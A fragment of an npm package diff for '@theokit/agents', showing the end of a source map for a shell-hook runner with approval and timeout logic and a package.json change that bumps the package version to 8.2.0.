UAAUP,eAAe;AACxCf,eAAK,wEAAA;AACL;QACF;AACA,YAAI,CAAC0B,QAAQhB,MAAMW,IAAI1C,IAAI,EAAG;AAC9B,YAAI;AACF,gBAAMgD,SAAS,MAAMC,eAAe;YAClClE,SAASgD,KAAKhD;YACdmE,KAAK9B,QAAQ8B;YACbC,WAAWpB,KAAKvC;YAChB4D,OAAOC,KAAKC,UAAU;cAAEC,MAAMb,IAAI1C;cAAMwD,MAAMd,IAAIc;cAAMR,QAAQN,IAAIM;YAAO,CAAA;YAC3E,GAAI5B,QAAQqC,QAAQxC,UAAa;cAAEwC,KAAKrC,QAAQqC;YAAI;UACtD,CAAA;AACA,cAAIT,OAAOU,aAAa,GAAG;AAEzBrC,iBAAK,cAAcU,KAAKhD,OAAO,YAAY0C,OAAOuB,OAAOU,QAAQ,CAAA,EAAG;UACtE;AACA,cAAIV,OAAOgB,UAAW3C,MAAK,cAAcU,KAAKhD,OAAO,wBAAwB;QAC/E,SAAS0B,OAAO;AACdY,eAAK,cAAcU,KAAKhD,OAAO,aAAc0B,MAAgBpB,OAAO,EAAE;QACxE;MACF;IACF;EACF;AAEA,SAAO8C;AACT;AA/FgBjB;AAkGhB,SAASgB,WAAWH,MAAc;AAChC,SAAO;IACLhD,SAASgD,KAAKhD;IACdF,OAAOkD,KAAKlD;IACZ,GAAIkD,KAAKzC,YAAY2B,UAAa;MAAE3B,SAASyC,KAAKzC;IAAQ;IAC1D6D,WAAWpB,KAAKvC;EAClB;AACF;AAPS0C;AAoBT,SAASa,QAAQhB,MAAgBkC,UAAgB;AAC/C,MAAIlC,KAAKzC,YAAY2B,OAAW,QAAO;AACvC,MAAI;AAEF,WAAO,IAAIiD,OAAOnC,KAAKzC,OAAO,EAAEF,KAAK6E,QAAAA;EACvC,QAAQ;AACN,WAAO;EACT;AACF;AARSlB;AAsBF,SAASY,gBAAgBQ,QAAc;AAC5C,QAAMC,QAAQC,YAAY,CAAA,EAAGC,SAAS,KAAA;AACtC,QAAMC,OAAO,uBAAuBH,KAAAA;AACpC,QAAMI,QAAQ,wBAAwBJ,KAAAA;AAGtC,QAAMK,UAAUN,OAAOO,WAAWF,OAAOA,MAAMG,QAAQ,KAAK,MAAA,CAAA;AAC5D,SAAO,GAAGJ,IAAAA;EAASE,OAAAA;EAAYD,KAAAA;AACjC;AARgBb;","names":["randomBytes","TheokitAgentError","z","createHash","FIELD_SEPARATOR","hookFingerprint","identity","canonical","command","event","matcher","String","timeoutMs","join","createHash","update","digest","spawn","MAX_OUTPUT_BYTES","DRAIN_BUDGET_MS","CHAIN_BUDGET_MULTIPLIER","runHookCommand","input","Promise","resolve","child","spawn","command","cwd","shell","detached","env","stdio","stdout","stderr","truncated","timedOut","settled","capture","current","chunk","length","next","toString","slice","on","settle","exitCode","clearTimeout","timer","drainTimer","setTimeout","killGroup","pid","timeoutMs","undefined","code","stdin","end","process","kill","HOOK_EVENTS","DEFAULT_HOOK_TIMEOUT_MS","DEFAULT_CONTINUATION_BUDGET","hookSpecSchema","z","object","event","enum","command","string","min","refine","value","test","message","matcher","optional","timeout_ms","number","int","positive","default","strict","HookSpecError","TheokitAgentError","name","code","isRetryable","parseHookSpecs","input","parsed","array","safeParse","success","error","issues","map","issue","path","join","data","IGNORE_WARNING","undefined","buildHookHandlers","specs","options","warn","onWarn","trusted","length","String","fingerprintOf","fingerprint","hookFingerprint","runnable","filter","spec","approved","has","identityOf","handlers","chainBudgetMs","Math","max","CHAIN_BUDGET_MULTIPLIER","preHooks","pre_tool_call","ctx","started","Date","now","block","matches","result","runHookCommand","cwd","timeoutMs","stdin","JSON","stringify","tool","args","env","exitCode","fenceHookOutput","stdout","stderr","postHooks","post_tool_call","truncated","toolName","RegExp","output","nonce","randomBytes","toString","open","close","escaped","replaceAll","replace"]}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@theokit/agents",
|
|
3
|
-
"version": "8.
|
|
3
|
+
"version": "8.2.0",
|
|
4
4
|
"description": "AI agents as first-class citizens of the TheoKit pipeline. The fluent agent()/tool() builders compile to SDK Agent.create() (M31 builder-only authoring API).",
|
|
5
5
|
"license": "Apache-2.0",
|
|
6
6
|
"type": "module",
|
|
@@ -106,7 +106,7 @@
|
|
|
106
106
|
"typescript": "^5.9.3",
|
|
107
107
|
"vitest": "^4.1.9",
|
|
108
108
|
"zod": "^4.4.3",
|
|
109
|
-
"@theokit/http": "1.
|
|
109
|
+
"@theokit/http": "1.1.0"
|
|
110
110
|
},
|
|
111
111
|
"engines": {
|
|
112
112
|
"node": ">=22.12.0"
|